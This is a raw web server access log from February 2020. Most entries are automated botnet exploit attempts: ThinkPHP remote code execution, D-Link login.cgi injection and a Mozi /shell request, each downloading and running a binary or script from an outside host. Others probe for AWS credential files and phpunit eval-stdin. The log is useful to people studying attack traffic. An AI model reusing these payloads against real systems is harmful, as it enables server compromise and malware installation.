110.35.144.229 - - [02/Feb/2020:03:33:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.224.65.97 - - [02/Feb/2020:03:34:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
148.71.44.68 - - [02/Feb/2020:03:35:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
168.197.114.63 - - [02/Feb/2020:03:36:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
191.34.171.131 - - [02/Feb/2020:03:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.54.222.233 - - [02/Feb/2020:03:38:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:03:40:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:03:40:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:03:40:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:03:41:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.42.38 - - [02/Feb/2020:03:41:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.13.109 - - [02/Feb/2020:03:41:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:03:41:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.4.31 - - [02/Feb/2020:03:41:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.179.52 - - [02/Feb/2020:03:42:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.65.177.98 - - [02/Feb/2020:03:46:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
74.63.255.178 - - [02/Feb/2020:03:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
2.134.137.201 - - [02/Feb/2020:03:49:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.222.190 - - [02/Feb/2020:03:49:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.94.144.53 - - [02/Feb/2020:03:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.27.251.208 - - [02/Feb/2020:03:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
92.55.112.239 - - [02/Feb/2020:03:51:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.224.193 - - [02/Feb/2020:03:51:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.17.255.206 - - [02/Feb/2020:03:52:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.132.79 - - [02/Feb/2020:03:54:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.0.151.252 - - [02/Feb/2020:03:54:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.117.140.79 - - [02/Feb/2020:03:55:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.126.56.174 - - [02/Feb/2020:03:56:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.159.32.26 - - [02/Feb/2020:03:56:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [02/Feb/2020:03:56:59 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:03:57:37 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:03:57:38 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:03:58:21 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
217.76.42.78 - - [02/Feb/2020:03:59:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.26.178.64 - - [02/Feb/2020:04:01:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.48.235.1 - - [02/Feb/2020:04:03:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
103.35.108.62 - - [02/Feb/2020:04:04:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.113.51.85 - - [02/Feb/2020:04:04:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.81.113.82 - - [02/Feb/2020:04:05:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.105.252.69 - - [02/Feb/2020:04:06:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
206.189.143.2 - - [02/Feb/2020:04:06:42 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 400 329 "-" "Hello, World"
112.69.51.186 - - [02/Feb/2020:04:10:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
94.51.28.234 - - [02/Feb/2020:04:10:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.114.224.102 - - [02/Feb/2020:04:12:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.87.13.85 - - [02/Feb/2020:04:12:19 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:04:12:20 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:04:12:20 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:04:12:21 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:04:12:21 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:04:12:22 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:04:12:22 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:04:12:23 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:04:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
14.226.60.104 - - [02/Feb/2020:04:13:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
117.5.215.153 - - [02/Feb/2020:04:13:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.36.164.225 - - [02/Feb/2020:04:15:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.206 - - [02/Feb/2020:04:15:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.0.57.229 - - [02/Feb/2020:04:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
125.108.115.172 - - [02/Feb/2020:04:16:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.230.117.51 - - [02/Feb/2020:04:17:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.230.117.51 - - [02/Feb/2020:04:17:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.77.136.86 - - [02/Feb/2020:04:17:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.93.252.97 - - [02/Feb/2020:04:19:49 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
5.101.0.209 - - [02/Feb/2020:04:23:02 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
103.90.207.115 - - [02/Feb/2020:04:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:04:26:21 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
90.151.154.244 - - [02/Feb/2020:04:27:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [02/Feb/2020:04:28:12 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:04:28:51 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
39.43.29.95 - - [02/Feb/2020:04:29:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
123.11.15.188 - - [02/Feb/2020:04:30:05 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://123.11.15.188:50822/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
193.57.40.38 - - [02/Feb/2020:04:31:55 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:04:32:10 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
27.216.245.215 - - [02/Feb/2020:04:34:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
193.57.40.38 - - [02/Feb/2020:04:35:40 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:04:35:45 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
151.49.96.19 - - [02/Feb/2020:04:40:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
151.49.96.19 - - [02/Feb/2020:04:40:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
83.103.237.117 - - [02/Feb/2020:04:40:49 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
124.230.55.188 - - [02/Feb/2020:04:41:27 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
42.116.89.213 - - [02/Feb/2020:04:42:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
17.58.100.117 - - [02/Feb/2020:04:42:42 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
17.58.96.45 - - [02/Feb/2020:04:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
151.73.124.152 - - [02/Feb/2020:04:44:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.117.213.44 - - [02/Feb/2020:04:44:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.94.114.216 - - [02/Feb/2020:04:45:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
63.143.35.230 - - [02/Feb/2020:04:46:16 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:04:46:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:04:46:38 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:04:46:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:04:47:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [02/Feb/2020:04:47:22 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
42.118.148.18 - - [02/Feb/2020:04:47:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.230 - - [02/Feb/2020:04:48:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
66.249.65.224 - - [02/Feb/2020:04:48:17 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.230 - - [02/Feb/2020:04:48:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
63.143.35.230 - - [02/Feb/2020:04:49:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
112.72.77.91 - - [02/Feb/2020:04:51:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.33.37.221 - - [02/Feb/2020:04:53:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.36.21 - - [02/Feb/2020:04:53:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.141.50 - - [02/Feb/2020:04:53:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.15.85 - - [02/Feb/2020:04:53:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.35.43 - - [02/Feb/2020:04:55:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
